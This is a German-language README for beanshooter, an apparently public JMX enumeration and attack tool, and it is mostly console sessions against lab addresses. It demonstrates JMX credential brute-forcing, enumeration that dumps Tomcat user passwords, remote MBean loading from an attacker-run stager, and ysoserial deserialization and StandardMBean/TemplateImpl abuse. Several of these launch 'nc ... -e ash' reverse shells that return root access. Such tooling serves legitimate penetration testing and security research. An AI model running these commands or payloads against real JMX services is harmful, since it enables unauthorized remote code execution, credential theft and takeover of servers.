
JMX-Enumeration und Angriffswerkzeug.
beanshooter ist ein JMX-Erkennungs- und Angriffswerkzeug, das hilft, häufige Schwachstellen auf JMX-Endpunkten zu identifizieren.
beanshooter ist ein Maven-Projekt und die Installation sollte unkompliziert sein. Mit installiertem Maven genügen die folgenden Befehle, um eine ausführbare .jar-Datei zu erstellen:```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
Sie können auch vorgefertigte Pakete verwenden, die für [jede Veröffentlichung](https://github.com/qtc-de/beanshooter/releases) erstellt werden.
Vorgefertigte Pakete für den Entwicklungszweig werden automatisch erstellt und sind auf der *GitHub*
[Actions-Seite](https://github.com/qtc-de/beanshooter/actions) zu finden. Außerdem ist ein vorgefertigtes Docker-Image für die Ausführung von *beanshooter*
[verfügbar](#docker-image).
*beanshooter* enthält *ysoserial* nicht als Abhängigkeit. Um *ysoserial*-Unterstützung zu aktivieren, müssen Sie entweder den Pfad
zu Ihrer ``ysoserial.jar``-Datei als zusätzliches Argument angeben (z.B. ``--yso /opt/ysoserial.jar``) oder Sie ändern den
Standardpfad in der [beanshooter-Konfigurationsdatei](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) vor dem Bau des Projekts.
*beanshooter* unterstützt die automatische Vervollständigung für *bash*. Um die automatische Vervollständigung zu nutzen, müssen Sie das
[completion-helpers](https://github.com/qtc-de/completion-helpers)-Projekt installiert haben. Bei korrekter Einrichtung genügt es, das
[Vervollständigungsskript](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) in Ihren ``~/.bash_completion.d``-Ordner zu kopieren, um die
automatische Vervollständigung zu aktivieren.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
Die verschiedenen beanshooter-Operationen lassen sich in zwei Gruppen unterteilen: grundlegende Operationen und MBean-Operationen. Während grundlegende Operationen dazu dienen, allgemeine Operationen an einem JMX-Endpunkt durchzuführen, zielen MBean-Operationen auf ein bestimmtes MBean ab, um damit zu interagieren. Weitere Details finden Sie in den Nutzungsbeispielen in den folgenden Abschnitten.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Grundlegende Operationen
---
Grundlegende Operationen sind allgemeine Operationen, die auf einem JMX-Dienst ausgeführt werden können. In der Regel handelt es sich um Operationen, die nicht auf einen bestimmten MBean abzielen oder die auf einen MBean abzielen, der keine integrierte Unterstützung durch beanshooter besitzt.
#### Attr
Die Aktion `attr` kann verwendet werden, um Attribute auf einem angegebenen *MBean* abzurufen oder zu setzen. Um verfügbare Attribute zu erhalten, sollte die Aktion `info` verwendet werden:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
Wenn nur der Attributname angegeben ist, ermittelt und zeigt beanshooter den aktuellen Attributwert an:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
Wenn ein zusätzlicher Wert angegeben wird, versucht *beanshooter*, das entsprechende Attribut zu setzen. Für Attribute, die einen anderen Typ als *String* haben, ist die Angabe des Attributtyps mit der Option `--type` erforderlich:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
Die brute-Aktion führt einen Brute-Force-Angriff auf einen passwortgeschützten JMX-Dienst durch. Wenn sie ohne zusätzliche optionale Argumente ausgeführt wird, verwendet beanshooter eine eingebaute Wortliste mit einigen gängigen Benutzername-Passwort-Kombinationen. Für gezieltere Angriffe sollten Sie die Optionen --username-file und --password-file verwenden, um umfassendere Wortlisten anzugeben.```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### Bereitstellen
Die Aktion `deploy` kann verwendet werden, um ein *MBean* auf einem *JMX*-Dienst bereitzustellen. Diese Aktion **sollte nicht** verwendet werden, um *MBeans* mit standardmäßiger Unterstützung wie z.B. dem *TonkaBean* bereitzustellen. Das Bereitstellen von *MBeans* mit standardmäßiger Unterstützung sollte über die entsprechenden [MBean-Operationen](#mbean-operations) erfolgen.
Wenn das *MBean*, das Sie bereitstellen möchten, dem *JMX*-Dienst bereits bekannt ist, reicht es aus, den Klassennamen der implementierenden *MBean*-Klasse und den gewünschten `ObjectName` anzugeben:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
Wenn die MBean-Klasse dem JMX-Dienst nicht bekannt ist, können Sie die Optionen --jar-file und --stager-url verwenden, um eine Implementierung bereitzustellen:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
Die Aktion `enum` zählt einige Konfigurationsdetails an einem *JMX*-Endpunkt auf. Sie prüft immer, ob der *JMX*-Endpunkt eine Authentifizierung erfordert und ob er eine vorauthentifizierte beliebige Deserialisierung erlaubt.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
Wenn keine Authentifizierung erforderlich ist oder gültige Anmeldedaten angegeben wurden, versucht die Aktion enum auch, einige weitere Informationen vom JMX-Endpunkt zu sammeln. Dazu gehören eine Liste der nicht standardmäßigen MBeans und z.B. die auf einem Apache Tomcat-Server registrierten Benutzerkonten.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
Wenn die `enum`-Aktion auf einem *SASL*-geschützten Endpunkt aufgerufen wird, versucht *beanshooter*, das für den Server konfigurierte *SASL*-Profil aufzulisten. Dies ist nur in einem bestimmten Umfang möglich und die *TLS*-Konfiguration des Servers kann nicht aufgelistet werden. Wenn das von *beanshooter* identifizierte *SASL*-Profil nicht funktioniert, sollten Sie es immer mit/ohne die Option `--ssl` erneut versuchen:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
Die info-Aktion kann verwendet werden, um Methoden- und Attributinformationen von MBeans zu erhalten, die auf dem MBean-Server verfügbar sind.
Wenn sie ohne zusätzliche Argumente aufgerufen wird, werden die Methoden- und Attributinformationen aller verfügbaren MBeans ausgegeben. Wenn ein zusätzlicher ObjectName angegeben wird, werden nur die Methoden- und Attributinformationen des angegebenen MBean ausgegeben:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### Aufrufen
Die `invoke`-Aktion kann verwendet werden, um eine beliebige Methode auf einem *MBean* aufzurufen, das bereits auf einem *JMX*-Endpunkt bereitgestellt wurde.
Neben dem Endpunkt erfordert die `invoke`-Aktion den `ObjectName` des anvisierten *MBean* und die Methodensignatur, die Sie aufrufen möchten.
Wenn die angegebene Methode Argumente erwartet, müssen auch diese angegeben werden. Das folgende Listing zeigt ein Beispiel,
eines argumentlosen Methodenaufrufs, bei dem die Methode `vmVersion()` des *MBean* `DiagnosticCommand` aufgerufen wird:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
Beim Aufruf einer Methode, die Parameter erfordert, werden die angegebenen beanshooter-Argumente als Java-Code ausgewertet. Einfache Argumenttypen wie Ganzzahlen oder Zeichenfolgen können einfach durch Angabe ihres entsprechenden Werts übergeben werden. Komplexe Argumenttypen können konstruiert werden, wie man es in Java tun würde (z.B. 'new java.util.HashMap()'). Das folgende Listing zeigt ein Beispiel, bei dem die Methode help(String[] args) auf dem MBean DiagnosticCommand aufgerufen wird:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
Für komplexere Argumenttypen, die eine Initialisierung erfordern, können Sie das *beanshooters PluginSystem* verwenden und eine benutzerdefinierte Klasse definieren, die die [IArgumentProvider-Schnittstelle](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java) implementiert.
#### Jolokia
Wie in der *beanshooters* [Jolokia-Dokumentation](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) beschrieben, können fast alle *beanshooter*-Aktionen zusammen mit dem `--jolokia`-Schalter verwendet werden, um auf *Jolokia*-basierte *JMX*-Endpunkte abzuzielen. Neben dieser generischen Unterstützung für den *Jolokia JMX*-Adapter unterstützt *beanshooter* eine dedizierte `jolokia`-Aktion. Diese Aktion kann verwendet werden, um eine ausgehende Verbindung eines *Jolokia*-Agents mit aktiviertem Proxy-Modus zu erzwingen:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
Das gleiche Ergebnis könnte durch die Ausführung einer regulären beanshooter-Operation wie list und die Verwendung der --jolokia-proxy service:jmx:...-Option erzielt werden. Die jolokia-Aktion wurde als Abkürzung hinzugefügt, damit Sie sich die JNDI-Syntax nicht merken müssen. Bei Verwendung der jolokia-Aktion wird standardmäßig die --jolokia-Option angenommen.
Die list-Aktion gibt eine Liste aller registrierten MBeans auf dem entfernten JMX-Dienst aus:```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Model
Die `model`-Aktion ist eine der leistungsstärksten *beanshooter*-Operationen und implementiert eine Technik,
die von [Markus Wulftange](https://twitter.com/mwulftange) identifiziert wurde. Sie ermöglicht es, beliebige
*public* und *static* Java-Methoden aufzurufen. Darüber hinaus können auch *public* Objektmethoden auf einer
benutzerdefinierten Objektinstanz aufgerufen werden. Die einzige Voraussetzung ist, dass die verwendeten
Methodenargumente und die bereitgestellte Objektinstanz (für *non static* Methoden) serialisierbar sind.
Das folgende Listing zeigt eine Beispielnutzung, bei der ein `File`-Objekt als Objektinstanz bereitgestellt wird
und die Operation `String[] list()` darauf aufgerufen wird:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
Die Methode setManagedResource ist immer verfügbar und kann verwendet werden, um die Objektinstanz zu ändern, auf die operiert werden soll:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
Beim Aufrufen *statischer* Methoden ist ebenfalls eine Objektinstanz erforderlich. Die tatsächliche Klasse der Objektinstanz spielt jedoch keine Rolle. Z.B. wenn Sie `getProperties()` von `java.lang.System` aufrufen möchten, könnten Sie auch einen einfachen `String` als Objektinstanz verwenden. In diesem Fall kommt es nur auf den angegebenen Klassennamen an:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
Die model-Aktion verwendet Reflection, um verfügbare Methoden in der angegebenen Klasse zu bestimmen. Falls die Klasse nicht lokal verfügbar ist, können Sie sie dennoch verwenden, indem Sie die verfügbaren Methoden über die Optionen --signature oder --signature-file angeben. Nichtsdestotrotz müssen Sie, um Zugriff auf nicht standardmäßige Klassen zu erhalten, eine Objektinstanz bereitstellen, die ebenfalls keine Standardklasse ist (nicht in rt.jar vorhanden). Dies ist erforderlich, da die Zielklasse vom selben ClassLoader geladen werden muss wie die bereitgestellte Objektinstanz. Für den beanshooters example-server eignet sich javax.management.remote.message.VersionMessage, da diese Klasse in opendmk_jmxremote_optional_jar vorhanden ist, das sowohl im Client als auch im Server verfügbar ist. Wir können dies als Objektinstanz verwenden, um Methoden auf anderen benutzerdefinierten Klassen aufzurufen, wie z. B. de.qtc.beanshooter.server.utils.Logger:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
Wenn Sie mehr über die Technik erfahren möchten, die von der Aktion `model` implementiert wird, empfehle ich wärmstens diesen [Blogbeitrag](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) von [CODE WHITE](https://twitter.com/codewhitesec), der sie ausführlich erklärt.
#### Serial
Die Aktion `serial` kann verwendet werden, um Deserialisierungsangriffe auf einen *JMX*-Endpunkt durchzuführen. Standardmäßig versucht die Aktion, post-authentifizierte Deserialisierungsangriffe durchzuführen. Damit dies funktioniert, muss der von Ihnen anvisierte *JMX*-Dienst entweder unauthentifizierten Zugriff erlauben oder Sie benötigen gültige Anmeldedaten:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
JMX Dienste können ebenfalls anfällig für vorauthentifizierte Deserialisierungsangriffe sein. Um dies auszunutzen, können Sie den --preauth Schalter verwenden:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
Gegen *JMXMP*-Endpunkte ist eine vorauthentifizierte Deserialisierung normalerweise möglich. Leider gibt es keine Möglichkeit, dies während der `enum`-Aktion ordnungsgemäß zu enumerieren.
Wenn Sie auf einen *JMXMP*-Endpunkt stoßen, sollten Sie es einfach versuchen.
#### Stager
Die `stager`-Aktion startet einen Stager-Server, der zur Bereitstellung von *MBeans* verwendet werden kann. Die Erstellung eines Stager-Servers
für die *MBean*-Bereitstellung erfolgt normalerweise automatisch bei Verwendung der `deploy`-Aktion von *beanshooters*. Manchmal ist jedoch
die Verwendung eines eigenständigen Servers erforderlich. Bei Verwendung der `stager`-Aktion können Sie entweder den Namen eines integrierten
*MBeans* angeben, das bereitgestellt werden soll (z.B. `tonka`), oder das Schlüsselwort `custom`. Wenn `custom` angegeben wurde,
sind die Optionen `--class-name`, `--object-name` und `--jar-file` erforderlich.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
Die Aktion standard stellt einen StandardMBean bereit, der die Klasse TemplateImpl implementiert, um verschiedene Ziele zu erreichen. Diese Technik wurde von Markus Wulftange entdeckt und beanshooter implementiert sie, um die Ausführung von Befehlen, das Hochladen von Dateien und die Bereitstellung von TonkaBean zu ermöglichen.```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
Die Befehlsausführung über die `standard`-Aktion erfolgt blind und Sie erhalten keine Ausgabe Ihres Befehls.
Darüber hinaus wird Ihr Befehl standardmäßig an `Runtime.exec(String str)` übergeben, das keine speziellen
Shell-Funktionen unterstützt. Wenn Sie Shell-Funktionen nutzen möchten, verwenden Sie die Option `--exec-array` und geben Sie Ihren Befehl
wie folgt an: `'sh -c echo "my cool command" > /tmp/test.txt'`. Mit `--exec-array` teilt *beanshooter* den
angegebenen Befehl in drei Teile und übergibt sie an `Runtime.exec(String[] arr)`. Es wird jedoch generell
empfohlen, die *TonkaBean*-Bereitstellung zur Ausführung von Befehlen zu verwenden:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
Der große Vorteil gegenüber der regulären tonka deploy-Aktion ist, dass die Bereitstellung über den StandardMBean keine ausgehende Netzwerkverbindung erfordert. Falls eine direkte Bereitstellung über standard ... tonka nicht funktioniert, können Sie möglicherweise die TonkaBean-Jar-Datei hochladen und sie über MLet und das file://-Protokoll laden:```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
Wenn Sie mehr über die Technik erfahren möchten, die von der Aktion `standard` implementiert wird, empfehle ich sehr diesen [Blogbeitrag](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) von [CODE WHITE](https://twitter.com/codewhitesec), der sie sehr detailliert erklärt.
#### Undeploy
Die Aktion `undeploy` entfernt das *MBean* mit dem angegebenen `ObjectName` aus dem *JMX*-Dienst:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
Im Gegensatz zu grundlegenden Operationen, die auf die allgemeine Funktionalität eines JMX-Endpunkts abzielen, zielen MBean-Operationen auf eine bestimmte MBean ab. Für jede unterstützte MBean stellt beanshooter einen weiteren Subparser zur Verfügung, der die verfügbaren Operationen und Optionen für die entsprechende MBean enthält. Die folgende Auflistung zeigt ein Beispiel für die mlet-MBean und den zugehörigen Subparser:```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
